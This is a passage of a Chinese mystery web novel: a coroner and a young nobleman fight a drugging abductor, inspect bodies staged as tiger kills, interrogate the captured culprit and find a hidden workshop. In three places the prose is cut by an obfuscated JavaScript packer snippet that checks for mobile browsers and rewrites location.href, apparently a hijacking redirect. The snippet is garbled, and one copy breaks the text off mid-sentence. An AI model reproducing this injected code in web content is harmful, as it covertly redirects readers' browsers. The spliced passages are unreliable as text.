“我并非此意……只是李成芳不像是会杀人的人。他是个好色的老纨绔,可是……” 闻蝉暗自咬了咬牙,想要忍下怒火。 对方到底是郑家人,还是郑家年轻一代最受重视的人。 她,得罪不起。 “救命!” 耳边忽然传来一声不太清晰的呼救声。 熟悉的声音让闻蝉一下忘记了当下的愤怒。 她顿住脚步,左右一看。 二人此时已经走到了刚出后山的地方,四周还是只有树林,没有人也没有屋子,声音是从左侧方传来的。 一个念头猛地出现。 “这个傻丫头!” 她一把推开郑观澜,朝着声音来处跑了过去。 郑观澜没有那么好的耳力,被突然推开,还以为是她在撒气。 “闻蝉!” 弯曲的小路长长的向前蜿蜒,沿着跑过去,兵器交接之声越发明显。 郑观澜放眼一望。 不远处,闻蝉正和一个黑衣人交着手。 闻蝉身手不差,一把匕首都挥得虎虎生威。 可那黑衣人却分外狡猾,脚底像是抹油一般,每每都能在关键时刻躲开致命一击。 二人身边,林斯正坐在地上,被魏有风抱着。 郑观澜抽出剑,一剑朝着黑衣人刺去。 黑衣人灵活得紧,竟然提前预判了他的攻击,借势一引,让他那一剑劈向了闻蝉,自己则钻着空子,扭身撒了一把粉末。 “咳咳咳!” 二人躲闪不急,被呛得捂脸。 见黑衣人要逃,魏有风放下怀中的林斯,赤手空拳就要上前去和黑衣人搏斗。 可那黑衣人动作太快,不过瞬息就消失得无影无踪。 魏有风也被那粉末呛住,大大打了个喷嚏。 闻蝉最先缓过来,看郑观澜狼狈得都掉了眼泪,还是给他拍了几下背。 “是胡椒粉,这个贼人也是大手笔。” 郑观澜这才慢慢缓过来,他转头擦了擦眼泪。 闻蝉“啧”了一声。 “哟,还哭了呢?” 郑观澜转回头,看着她红红的双眼:“你有带镜子吗?” 对方的双眼中清晰的倒映出自己此时的模样,闻蝉不自在别过头:“好心没好报。” “强词夺理。” 明明就是在故意笑话他。 魏有风此时才缓过气,上前拱手道:“多谢闻仵作援手。” 闻蝉摆摆手,走向还半躺着的林斯。 “林斯?林斯?”她拍了拍林斯的脸。 林斯眼皮颤了颤,微微睁开眼,嘴唇动了动。 “闻蝉呐……” 闻蝉从怀里摸出一个药瓶,取出一颗给他喂下。 “今日到底是怎么回事?” 魏有风半跪在林斯面前,让他靠在自己怀里,回答道:“我今日回房的时候,见那贼人将林斯抱走,就追了上来。到了此处后,他发现了我,没想到这贼人这么厉害。” 他也是有点武功底子的人,竟然完全被压着打。 “那我方才怎么听见林斯的声音?” “刚到此处的时候,他还没有完全昏迷。” 闻蝉想了想,敲了一下林斯的头。 “莽撞。” 林斯睁开眼,捂住脑袋:“好疼呀。” “醒了?” “醒了。”林斯这才发现自己靠着魏有风,脸一下就红了,瞬间坐直了身子。 魏有风也尴尬地让开了些。 “我……我看你昏迷了才……” 闻蝉瞥了一眼二人。 “林斯,你今日怎么把自己作成这样的?” 林斯摸了摸脸。 “今儿他们都去围猎了,说是要打老虎,我不想去就留在屋内睡觉。正睡得迷迷糊糊的时候,那人就进来把我抱走了……” “应该是被下了迷药,没出息。” 林斯一下提高了声调:“你以为谁都和你一样,扛得住迷药啊!” 闻蝉翻了个白眼。 “一开始不吭声?就不怕真出事?” 林斯理亏。 “我是想着玩玩儿他嘛……谁知道那个贼人是给我下了迷药,身手那么好,连师兄都打不过他。” 魏有风也沉下脸。 “你这也太冒险了!若非今日那边出了事,我是不会回来的,到时候你怎么办?” 他黑脸的样子还真挺凶的。 林斯低下头,面红耳赤。 “我知道错了……” 闻蝉看得直咧嘴。 粘糊! 林斯忽然抬起头:“那边出了事?出什么事啦?” 魏有风敲了敲他的脑袋。 “你还有空关心其他人。” “什么事什么事嘛?” 魏有风无奈笑了一下,面色凝重起来。 “有几个人被老虎咬死了。得亏你没去,那老虎也像是成精了似的,把尸体挂在树上,看着就吓人。” 闻蝉插嘴:“挂在树上?谁看见的?” “裴庄主他们。听说今日裴庄主他们打完猎正准备出林子的时候,迎头撞见的,把裴庄主吓得从马上都跌了下来。” “老虎把人挂树上?” “是啊,尸体被咬得稀烂。”魏有风摇头,“真是可怜,被咬死的人都是帮助围猎的仆人。” 林斯愤愤不平:“冬日少食,老虎本就穷凶极恶,这些人非得冬日打猎,简直是空造杀孽!” 魏有风捂住他的嘴,摇了摇头,示意他看郑观澜。 还有旁人在呢。 郑观澜倒是没有反应,站在一边,像是没听见似的。 “那贼人的事情,交给我,你们俩先回去吧,回去后给他弄点补品补一补。”闻蝉站起身,跺了跺发麻的腿,“腿都蹲麻了。” 魏有风伸手去扶林斯。 “抱回去呗,还扶啥扶,他这个时候可没劲儿。”闻蝉在一旁叉着腰看着。 林斯身子一歪:“好难受。” 魏有风很是无措,不知从何下手,犹豫了一二竟然把人像麻袋一样甩在肩头上扛背了起来。 闻蝉憋不住笑。 “背尸呢?” 林斯抬起头,感激看了她一眼。 胃被硌得好疼…… 魏有风僵住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779661|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那怎么……抱啊?” “横着抱啊!你也不怕这样把他胃硌着,到时候吐你身上。” “我才不会!”林斯大声反驳闻蝉。 魏有风还是听劝,将人打横抱,抱在怀里。 二人离开,郑观澜才开口:“那贼人给林斯下药是想要做什么?” “采花贼啊,你说他想干嘛?” 郑观澜表情破裂。 “林斯不是男子吗?这采花贼也太……” 闻蝉哄然大笑。 “你笑什么?”郑观澜见她笑得浑身发颤,十分不解,“我知道有些人癖好特殊,只是少见而已。” 闻蝉摆摆手,搭在他的肩膀上。 “不不不,你不是少见多怪,是眼神不好。” “我怎么眼神不好了?” 闻蝉强忍住笑意,正色道:“不说这个了,我要去看看尸体。” “什么尸体?” “被老虎挂在树上的尸体。” 二人沿着路走到围猎的树林时,尸体才刚刚被取下。 树上还挂着血色的冰棱,尖利,冲着地面。 裴籍等人站在几步远处,凝神看着,树下只有管事带着几个仆人在收拾残局。 闻蝉观察着他们,心里越来越沉。 “六郎?!闻仵作!”裴籍一眼瞧见二人,主动迎上前,“你们怎么过来了?” 闻蝉向后微微退了一步,让郑观澜应付。 “方才我听说这边出了事,就想着过来看看,正巧,偶遇闻仵作。” “也不是什么大事。”裴籍摇摇头,“今年这老虎太凶了,那三个都是我府上的人,今日本是帮着围猎的,不知怎么,竟然被那老虎伤了。” 他拍了一下大腿:“等过几日,这路修好了,我就专门请人来打老虎,为他们报仇!” 闻蝉语气温和。 “我看那尸体心里也难受,裴庄主,可否让我搭把手,顺道看看能不能把那些伤口缝合好,也好让他们安心去投胎。” 裴籍满口答应。 “闻仵作心善,是他们有福气。” 闻蝉点点头,朝着尸体走去,眼神悄悄打量着那棵带着血色冰棱的树。 血色冰棱最高处已经快要到树冠顶端,那里枝条最细,怎么经得住老虎的踩踏?还有尸体…… 管事见她来了,含着泪:“闻仵作,您来了。” 闻蝉戴好手衣:“我来给您帮忙。” 几人默契给她让开一个位置。 闻蝉蹲了下去。 死者是三个很年轻的男子,看面孔,都才十五岁上下。 从尸僵来看,死亡时间已经有两个时辰左右,也就是早上的卯时正。 死者面色青白,浑身都是血,脖颈上有两个圆圆的伤口,伤口上满是冰渣子,外翻着。 “闻仵作,我听管事说你能把伤口缝得跟原样似的?”旁边的一个矮墩墩年轻人试探着说道。 闻蝉回神。 “你放心,我会的。” 那人眼泪决堤一般涌出。 “谢您……谢谢您,吴六他们都还小……他们……” 管事急忙挡住他,小声警告。 “哭什么!还不快憋回去,等会儿庄主瞧见了定然要罚你。” 瞧瞧,人连流泪的权利都没有。 那人用力点头,努力憋着。 管事也是为他好,叹了口气,语气缓和了些。 “早点把尸体收拾好,我给他们选个好地方埋着,下辈子……投个好胎。” 12. 捉贼 一直到傍晚,闻蝉才忙活完。 仔仔细细把手洗干净,将罩衣单独装好后她才预备回房休息。 门一打开,雪花粒子扑面而来,闻蝉抹了一把脸,才看清一个人影就杵在屋檐下。 那人影笔直笔直的,像是一棵压不弯的松树。 是郑观澜。 只见他的肩头已经落了一层薄薄的雪,手里还拿着一个食盒。 郑观澜将食盒向前递了递,率先开口。 “我是心疼宝应,不想让她多跑一趟。” 闻蝉把食盒打开,里面放着一盘子蜜汁糯米藕,一盘子溜鸡片并一碗米饭。 “我不吃蜂蜜啊……” 郑观澜面色微变。 “哦,应该是宝应忘记嘱咐下面的人了。将就吃吧。” 想来也不会是宝应亲自去准备,这也说得通,闻蝉接过,道了声谢。 二人走在路上,天上还飘着小雪,地上被踩得扑簌簌的响。 如此安静,倒叫人有些不习惯。 “这些人不是被老虎咬死的吧?”郑观澜先开了口。 “你也看出来了?” “挂尸体的树枝不粗,老虎爬上去会摔死。”郑观澜从怀里掏出两本书递给她,“今日下午的收获。” 闻蝉接过一看,书皮上“伥鬼录”三个大字让她停下了脚步。 “哪儿来的?” 郑观澜手握成拳放在嘴边,清了清嗓子。 “反正是裴籍屋里的东西。” “你顺来的?” 郑观澜耳朵红了:“这不是为了……为了正事。” 闻蝉把食盒往他手里一塞,自己打开书翻阅。 郑观澜带来的两本书一本是《伥鬼录》的序,一本是《伥鬼录》的第二卷。 序讲的是一只在山中修行的虎妖为了捕捉更多的人,会将人咬死后挂在树上,让那些死者的魂灵变成伥鬼,帮助它杀人夺魂修炼。 第二卷讲的是在山庄唱戏的戏班里,一只伥鬼将戏子用的剑替换掉后,戏子在唱戏时候自刎而死。 其中种种细节和之前发生的命案都能一一对应。 “果然如此。”闻蝉把书揣在怀里,骂了一句,“这个王八蛋。” “是……裴籍吗?” “动手的不一定是他,但是和他肯定脱不开关系。”闻蝉扬起头,“你眼神不好,但是看人还是挺准的嘛。” “只是人在撒谎的时候格外拙劣。”郑观澜逼近她,“你说是吧?闻仵作,你究竟为何而来?” 闻蝉扭过头不让他看清自己的表情。 “我不是说了嘛,为了抓采花贼啊。” “后山的白骨。” “顺道的事。” “你怎么会知道后山有尸骨?这些事都和裴籍有关吗?” “和他有关与否对你很重要吗?你喜欢他?” 郑观澜嘴角轻扬:“你每次想要顾左右而言他都喜欢用这一招?胡诌这些话可没有用。” “那你就是喜欢我,所以才这么关心我的事。” 郑观澜脸瞬间红透:“你脸皮怎么这么厚!” 他就没见过谁家小娘子这样说话! 闻蝉背着手,一点都不为所动。 “今晚我们去干件大事!” “什么事?” “你不是想破案吗?” “你有头绪了?” “找到了那个线头。” 郑观澜万万没想到的是,她口中的大事就是到戏班的院子里来蹲点? 二人藏在树丛后,从树丛缝隙中就能将整个院子收入眼底。 此时已经快要子时,所有人都歇下了,十分安静,只听得见风吹的声音。 “线头在戏班?你说的线头到底是什么?” “还记得那日王子仪的事吗?” “自然记得。”郑观澜摸了摸剑柄。 还没报复,他才不会忘。 “王子仪招供,作为他帮手的采花贼就潜伏在戏班中。而那日帮他送纸条给我的人就是那个采花贼。” “你记得那人的样子?” “采花贼易容过,但是他能改变自己的外貌,却改变不了身上的气味以及体型。” “真是……狗鼻子。” 闻蝉一眼横过去:“那你狗都不如。” 郑观澜还想继续听,只问道:“所以呢?” “那日在戏班我闻到了一股味道,是戏班上妆用的妆粉气味,也是露凝香三年前制出的文山粉,这粉中有一样特殊的花朵,只有云南才能产出,且无法移植。为了节约成本,露凝香会一次性购进大量此花,是以制出的量也极大。再加上妆粉放久了会坏,这种妆粉只接受一次性大量订购。而一次性大量订购妆粉的也就只有戏班了。所以,那人一定是戏班中的人。” “今日……跟踪林斯的也是此人?” “是,我在他身上闻到了同样的气味,再加上他的体型和当时我被塞纸条时周围的一人很是接近,基本就确定了他的身份。” “若真是此人,今晚我们怕是等不到他出来。下午他才失手,稍微有点脑子的都会乖乖潜伏起来。” “那若是他那脑子无法自控呢?”闻蝉眼里闪过一丝精光。 “你做了什么手脚。”郑观澜莫名觉得背后发凉。 “交手的时候,我送了他一份大礼,这份大礼可是黑市才买得到的珍贵香料,美容养颜,益气补血……”闻蝉搓搓双手。 “你会这么好心?” “但是,这香料不能和一种花放在一块,不然他就会……”闻蝉眯起眼,表情堪称“猥琐”二字。 郑观澜哪里不懂。 “你哪儿来的这些下作东西?” “下作男人那里买的。” “物以类聚。” “我们俩现在就站一块儿啊!” 郑观澜走开一步,以示自己和她可不是一类。 吱呀—— 一阵刻意放缓的开门声响起。 闻蝉戳了一下郑观澜的腰,以口型说道:“出洞了。” 透过间隙,一个黑影从屋内蹑手蹑脚地走了出来,像只老鼠一样左看右看,踮着脚尖飞快向院外走去。 二人对视一眼,追了上去。 出了院子,进入开阔的庭院,二人立即动了手。 闻蝉绕到前方,迎面刺出匕首。 黑衣人向后一仰,借势转向而逃。 银光一闪,郑观澜劈来一剑。 黑衣人急忙刹住脚步,蹲身躲开,身子一歪就逃开了二人的包围。 “贼人!还不快束手就擒!”郑观澜用剑指着黑衣人怒斥。 你喊有啥用?! 闻蝉腹诽着,直接攻了过去。 黑衣人躲闪不及,抬手格挡,却被刺中手臂。 “啊!” 一股出乎意料的剧痛让黑衣人低呼出声。 此时,他才看清,那女人手里的匕首的刀背上竟然带着倒刺。 “你也太阴险了!” 闻蝉可不会在打架的时候和人聊天儿,对准黑衣人的手腕再度刺去。 黑衣人吓得捂住手腕向后窜。 太毒了!这是想要挑断他手筋! 郑观澜也跟着攻来,剑势逼得他步步后退。 二人一个气势如虹,一个专攻要害,黑衣人逃得精疲力尽。 正在此时,游廊尽头忽然出现一红一绿两个身影。 黑衣人眼睛一亮,生生受下一剑,朝着两个身影奔去。 “滚开!哪里来的贼人!”绿衣婢女挡在红衣妇人身前,一脸无畏。 黑衣人一爪抓住婢女的咽喉,将人挟持到一边。 “杜若!”红衣贵妇大喊一声,竟不顾危险冲了上去。 闻蝉眼疾手快,将她拉住。 “周夫人!”郑观澜也挡在前面。 黑衣人手下一用力,婢女痛呼一声,嘴里还是喊着。 “夫人别过来!” 黑衣人低低一笑:“想要这个婢女活命,就马上让开路!不然……” 他使劲掐住婢女的脖子,婢女被憋得满脸涨红。 闻蝉捏住周夫人的手腕,给她使了个眼色,转头对着黑衣人说道:“她不过是个婢女,你何必为难她?你把他放了,我来换她。” 黑衣人哼笑一声。 “老子又不傻,你会武功,我把你换手上不就是引火烧身吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779662|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我可没那个意思。你若是不放心可以把我绑起来。”闻蝉掏出一根绳子放在郑观澜手里,“我把手绑住了可就没法做什么了吧。” 黑衣人手下越发用力:“别想着拿那一套来唬我!现在人在我手里好好的,我干嘛换?”他对着周夫人抬了抬下巴,“她可是很看重这个婢女呢!” 周夫人却忽然冷下脸来。 “拿个下人来威胁我?闻仵作,不必犹豫,把这贼人拿下!不过是个婢女,死了就死了。” 闻蝉求道:“到底是条性命,夫人……” “那也不能让你去换!你怎么也是大理寺的人,若你有个万一,郡公定然会责备我不识大体。”周夫人一脸坚决,“快动手!” 黑衣人见状一下慌了。 闻蝉趁机问道:“你换不换?” 谁知道那妇人竟然真这样舍得! 黑衣人只能点头:“好,换!你背对我,我要看着那绳子怎么绑的。” 还真是鸡贼。 周夫人和郑观澜齐齐阻止:“不可!” 闻蝉使劲握了一下郑观澜的手:“我意已决,你不要再劝,快!” 她说完背过身,将双手背在身后。 郑观澜犹豫了一二,还是选择相信她,拿着绳子将她的手绑住。 黑衣人这才稍稍放心:“你先过来。” 闻蝉十分老实,一步一步走了过去。 “你也该松开她了吧,她要是死了,我就只能和你拼命了。” 黑衣人手下动作逐渐松动。 婢女缓过气,面色恢复了些许。 忽然,那婢女一个肘击直直打在黑衣人的肚子上。 距离太近,速度太快,黑衣人躲闪不及被打了个正着,一下蜷起了身子。 还不等他站直,迎面又是一拳直击面门。 是闻蝉。 她不知何时已经松开了绳索。 黑衣人被打倒在地。 闻蝉立即狠狠补上几脚,身后的郑观澜也拿起来掉在地上的绳子,三下五除二把那贼人绑了起来。 “贱人!贱人!”黑衣人嘴里骂着,“使阴招的贱人。” 闻蝉可不惯着他,一脚踢向他的要害。 “想要做阉人,现在就成全你,嘴臭。” 黑衣人疼得在地上打滚,直觉告诉他,对方说得出做得到,一时之间,只敢呼号。 周夫人此时才扶起已经失力的杜若走了过来。 “闻仵作,这贼人是那犯下命案的凶手吗?” 闻蝉如实道:“不算,是个采花贼。” 周夫人脸腾的一下红了,一双柳眉倒竖。 “竟是采花贼,真是该千刀万剐的畜牲!” 不知她为何如此动怒,闻蝉也不好多问。 “多亏夫人和杜若应变机敏,不然我还真得把他放了。” 周夫人颔首:“也是你急智,我见你话头不对,才明白你眼神示意我什么。” 原来,周夫人刚刚那些话都是故意作假,只为了让那贼人误以为杜若并不重要,好答应交换。 “不过,你这手……是怎么挣脱的?” “一个小小的戏法罢了。” 周夫人本是舞女出身,也见过不少戏法,瞬间明了。 “杜若娘子可还好?”闻蝉关心道。 杜若郑重行礼。 “多谢闻仵作救命之恩。” “哪里哪里,你方才那一下才是真的惊人,不然我还真没办法这样顺利就把此人放倒。” 杜若面色微红:“这都是夫人教的。” 了解了情况,周夫人心里也挂着杜若的伤势,不好多留。 “我今晚睡不着说出来散散心,没想到竟然差点误了二位的正事,实在是不好意思得紧。如今,这贼人被捉,我也不再多打扰了。” 二人拱手道:“夫人慢走。” 周夫人主仆一离开,闻蝉就俯下身,用匕首挑开了黑衣人的面巾。 一张熟悉的脸露了出来。 “王泰?!”郑观澜很是意外,旋即很快反应过来,“是他!是他下的毒换的剑!” 闻蝉却没有马上下决定。 “先把人弄回去再说。” 13. 千机变 打晕的王泰被闻蝉提着脚拖了回去,绑在屋内的凳子上。 她拿着匕首在王泰的脚腕上比划,像是在思考着什么。 “你这是要做什么?”郑观澜有一种很不好的预感。 “你说,要不要把他脚筋挑了?” “怕他跑?可脚筋挑了你怎么把人弄下山?背下去?” 闻蝉收起匕首。 “也是。对了,今日那位周夫人是谁?” “文安郡公的那位侧室。” “竟然是她?”闻蝉摸了摸下巴,“真好看啊。只是……怎么觉得她有点眼熟。” “她原先就在汉中做舞女,叫拂云娘子,很有名气,后面才改名叫了周福云。你小时候应该见过。” “拂云娘子……我想起来了,她当时那个舞坊就在我家附近。咦?”闻蝉忽然想起了什么,“你怎么知道我是汉中人?” 郑观澜扶额:“你的口音。” “我口音很重吗?”闻蝉疑惑。 她十岁就到了京城,除了才开始故意作怪,官话一直说的很好。 “你一骂人就是汉中口音。” 闻蝉承认。 “还真是哦,兔狲。” 郑观澜冷脸:“需要我提醒你我是荥阳人吗?” 闻蝉一点儿都不觉得不好意思,还是笑眯眯的。 “哦,你听得懂呀~” “爱骂人,什么毛病。” “潮巴。” 郑观澜虽然听不懂,但是用脚趾头都猜得到她又在骂人。 “书读得不怎么样,就会骂人了。” “我验尸本领可是大周第一,你这次科举能排第几啊?” “自吹自擂。” “到时候考不上就有意思了。” “考不上也不会去做仵作这样的活计。” 二人越说越过火,正要吵起来的时候,王泰醒了。 “咳咳……” 闻蝉立即走上前。 “赶快交代,不然弄死你。” 郑观澜慢悠悠走过去。 “你们大理寺平时都是这么审问犯人的吗?” “不是啊。”闻蝉眨眨眼,“一般是先弄去郎狱丞那里过一遍大刑,就什么挑筋啊夹手指掀指甲盖儿什么的。这不是没那个条件么。” “然后呢?” “没有然后。九成九都会招,不招就死呗。” 王泰听得面色惨白。 “你们这是刑讯逼供!” “是,没错。”闻蝉叉腰,“你去衙门告嘛。” 王泰被她无耻的行为惊呆了。 “你……” 郑观澜失笑。 她这厉害劲儿用在这些地方也算是以毒攻毒了。 “所以,你应该招供了哟。”闻蝉俯视王泰,“你和王子仪做了哪些勾当?” 王泰自知已经无可抵赖,朝着地上啐了一口。 “他大爷的王子仪,老子就知道他管不住他那破□□子,迟早得把老子给害了!非要招惹你!” “快说,不然把你阉掉。”闻蝉比了个手起刀落的动作。 王泰面色发青,老实交代了和王子仪的来往。 “我和他是在青楼认识的。熟悉后,我才知道他喜欢强迫女人那种调调,就和他做了交易。” “什么交易?” “你又不是不知道……就是他帮我给卢家柳家那几个小娘子下药,我帮他给那些妓女下药。” “你倒是交代得爽快。” 王泰耸耸肩:“你们大理寺肯定把该查的都查到了,我不交代有啥用?多吃点苦头?死嘛也要轻松点死嘛。” 他这样毫无悔过之心的态度让郑观澜大为火光。 “你就不觉得羞惭?” “羞惭啥?”王泰一脸懵。 “他们要是个人,从一开始就干不出来这种事。”闻蝉继续问道,“除了这个呢?” 王泰眼神游移。 “没了啊……” 郑观澜直接说道:“你有替换剑和下毒的嫌疑。” 王泰撇撇嘴:“我是个采花贼,杀人干嘛?” “承不承认也是你了。”郑观澜的语调十分平稳,像是在念着公文,“采花贼王泰为逞□□,潜入戏班,毒杀点蕊等六名舞女,其恶行被蔻君豆娘得知。为灭口,其假借整理行头,将蔻君所用的未开刃的剑替换成开刃剑,又在豆娘服用的酒中下入毒药,致使二人身亡。” 王泰目瞪口呆。 闻蝉拊掌:“郑郎君这招妙!如此,裴郎君还有上官那里我都能有个交代。” 王泰回过神。 “真是会咬人的狗不叫。你们就不怕我到时候当堂翻供?” 一个比一个狠毒! 郑观澜连看都没有多看他一眼。 “死人怎么翻供?” “你们……你们怎么就认定是我干的?!”王泰实在是想不通。 闻蝉说道:“你招供得太快了。这可是铁定的死罪,就算是我用酷刑威胁你,你也不应该这么快就松口,除非……你笃定自己跑的掉,或者是有人能够来救你。我思来想去,愿意冒着这么大风险救你,要么为情要么就是为利。前者不太可能,那就只能是为利。可你一个采花贼能有什么利让人可图?明明你的同伙王子仪比你还先暴露,除非有第二个王子仪……” 王泰的面色越来越难看,看向她的眼神中带上些许畏惧。 “也就是第二个同伙,他害怕你供出什么,就是拼了命也会来救你。而你目前身上又恰恰牵扯到了蔻君豆娘之死……你说你是不是很可疑?”闻蝉冲着他挑了挑眉。 王泰不说话了,埋着头装死。 “就猜到你会来这一招。”闻蝉从怀里掏出一面巴掌大的护心镜拍在他胸口,“你要不要和我打个赌?” 天还没亮。 闻蝉就被巨大的敲门声震醒。 “闻仵作!” 是个少年的声音,有点耳熟,好像是郑观澜的贴身小厮,长得高高胖胖的,叫什么成生? 闻蝉应了一声,穿好衣裳推开门。 “大早上的,什么事啊?” 成生急得直跺脚。 “那个采花贼跑了!” “不是让你看着的吗?” 成生哭丧着脸:“小的昨晚肯定是被下药了!” “下药……”闻蝉朝他勾勾手指,“你先去帮我做件事。” 等二人赶到关押采花贼的房间里时,房内只剩下被割断的麻绳孤零零躺在地上。 郑观澜站在一边。 “人才走不久。” 闻蝉低头看着地面的脚印,向外走去。 “追!” 二人沿着脚印追了上去,很快就到了后山。 后山上,干枯的草地有被新踩出来的痕迹,跟着痕迹走,竟然就到了那日二人捡到手帕的岩石洞。 王泰就躺在洞的正中间。 闻蝉走上前,探了探鼻息。 “死了,让成生把人带走。” 晚来一步的成生还喘着粗气:“什么?” “跑那么快做什么。”郑观澜抬了抬下巴,“你把人背回去,单独放在验尸房,亲自看守。” “是。”成生可不是虚胖,身上的肉都是扎扎实实的,一下就将王泰背了起来,脚步轻快往山下走去。 闻蝉蹲在地上,点了点地面。 “我们跟着追过去,应该还来得及。” 地面上的鞋印边缘有些模糊,但是中间足够清晰。 郑观澜喃喃道:“这个鞋印……” “快点!” 闻蝉已经出了洞口,在外面催促着他。 那一点疑惑也来不及多想,郑观澜立即小跑着出去。 岩石洞里有些许融化的雪水,和着泥灰,会让鞋底沾上不少黄泥。 一个个黄泥脚印向前延伸。 二人绕过后山,朝着更后的位置走去。 “这山庄中竟然还有这么个地方?”郑观澜环顾四周。 四周是一大片空地,只有前方有个隆起的山包,山包下有座小院。 鞋印直直冲着那座小院。 院子是普通的砖瓦房,白墙灰顶,木门微微开着,没有上锁。 闻蝉轻轻推开门,蹑手蹑脚走了进去,手里握着匕首。 郑观澜也悄悄把剑抽了出来防备着。 院内十分干净,没有多的摆设,只有一口水井在正房右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是机关这个东西最需要的就是精密,只要有一点点不对就会出现故障。 郑观澜从香囊中掏出一把金豆子,一颗一颗精准撒入轨道之中。 机关人碾过金豆子,卡了几下壳,向后仰了仰。 闻蝉听到了异常的动静,扭头看了一眼。 “你做了什么?” “我用金豆把轨道卡住了。” 金豆子?!真是出手大方! 闻蝉“嘶”了一声,忽然顿住脚步,一侧身绕到郑观澜面前,面朝着一卡一顿还是执着前行的机关人。 “你要做什么!” 闻蝉分开双腿,微屈膝盖,扎了个马步。 机关人已经冲到面前,郑观澜急忙去拦住,闻蝉却忽的举起双手,稳稳握住了机关人挥舞的双臂。 她的双手像是钳子一样死死钳住了机关人的双臂,让它动弹不得。 “哈!”闻蝉低喝一声,奋力向前一推。 本就卡壳的机关人竟然生生被推倒。 闻蝉满脸涨红,单手撑在墙面上,喘着粗气。 “破玩意儿!比石磨还重。” 机关人躺在地上,浑身发出刺耳尖利的卡壳声,双臂对着上方乱挥舞了几下,忽然顿住,再也不动了。 郑观澜看向闻蝉的眼神中多了几分真实的……敬畏。 机关人虽然是木头做的,可是里面的机关可是金属做的,一个机关人至少有两百斤,下面和轨道连接的地方也是金属做的,这个女人就凭借蛮力直接给弄……断了? 好吧,一力降十会,诚不欺他。 “呃……那个……我们接下来是从这里出去还是继续向前走?” 闻蝉擦了擦额头的汗水,鬓边翘起的细碎头发微微动了动。面对着幽深不见底的前方,她露出一个笑。 “当然是向前。” 14. 密室虎皮 前方算是顺畅无阻,二人加快脚步,走了半刻钟就到了底。 尽头是一扇大门,门上挂着一把锁。 闻蝉取下头上的银簪,对着锁捅了几下,锁就打开了。 郑观澜忍不住问道:“你在哪儿学的?” “一个朋友教的,别说这种简单的锁,就是很复杂的锁他都能开。” “是大理寺抓的什么贼人吗?” 闻蝉愣了一下,笑道:“才不是!别人是正经人好吧。” “正经人会这个?” 闻蝉把锁扔地上:“你点我呢?” “我哪里是这个意思?” 闻蝉眯起双眼,对着他阴险一笑。 “我就是个不正经的人哟,你可要小心,这个时候孤男寡女的,说不定我会对你做什么。” 郑观澜有一种被调戏了的感觉。 “你一个女子,能不能……不要这样厚脸皮!” “你害怕了?”闻蝉靠在门上。 “我怕你做甚?”郑观澜嘴上这样说,脑子里却满是方才对方一把将机关人推倒的样子,“还不快进去,耽误正事。” 闻蝉这才推开那扇大门。 门内是一个密室。墙壁都是石头垒的,墙上还挂着三张老虎皮,看上去十分原始。 密室正中间放着一张极大的桌子,桌面上堆放着一些锯子一类的工具,和一些未完成的机关,奇形怪状,让人猜不到用途。 旁边靠墙放着一个一人多高的大架子,架子上很杂乱,堆着书和几个小匣子。 闻蝉随手拿起一个匣子,打开一看。 匣子里放着几个布老虎,还有一个银锁,银锁上刻着壬寅二字。 “这是何物?”郑观澜冷不丁冒了出来。 闻蝉挑眉:“你没有吗?” “我……该有吗?” 闻蝉笑了一下:“还真是怪啊。这是孩子小时候会戴的银锁,驱灾辟邪祈福,上面会刻着孩子出生的年份。壬寅年,属虎,这东西的主人自然就是壬寅年生人。我也有一个,是我爹亲手给我打的,上面除了年份还有个长尾巴的鸡,像凤凰似的,我娘还给我缝过鸡的小布娃娃。” 她话里带着难以掩饰的骄傲。 郑观澜声音有点小。 “我……没有见过。” 闻蝉倒是没想太多:“可能是你们世家不讲究这些吧。” 她把匣子关上放了回去,又拿起旁边一个竹筒。 旋开竹筒,里面盛着发黑的茶叶。 “你看!” 郑观澜抖了一下,回过神:“什么?” 闻蝉捻起几片茶叶:“这是晒干的夹竹桃花瓣。有毒。” 郑观澜脱口而出:“毒死那些舞女的药?!” “是。” 闻蝉将罐子放入随身的验尸箱中,又拿起最上层的一个木盒。 木盒里装着一个小锤、一把小刀、两个小小的手锯还有……一捆金属的细索! 金属的细索散发着寒光。 “这和最开始捆绑舞女的细索是同一样东西。”闻蝉把细索收了起来。 郑观澜环顾四周。 “难道这里是那个凶手的地盘?” “□□不离……”闻蝉忽然挪开脚,用火折子往地上一照。 地上有数道直直的交错的长条状印迹。 印迹很窄,只有两寸左右。 “肯定是。” 对方忽然话锋一转,郑观澜看了过来,一眼就看到了那印迹。 “这是戏台下痕迹!” “没错。”闻蝉面色凝重,看向密室入口,“我们得出去,找找这房子真正的主人了。” 郑观澜猜出她的想法。 “外面还有一个机关人不说。会不会外面的房间都是障眼法,反而这密室还有其他出入口能够直接去那人的藏身之处?” “不会再有了。” “你就这样确定?” “就算是密室也是有痕迹的,出入口会有微微的风流动。像是方才一样,虽然我们在密道之中,可是密道的前方是有风传来的。” 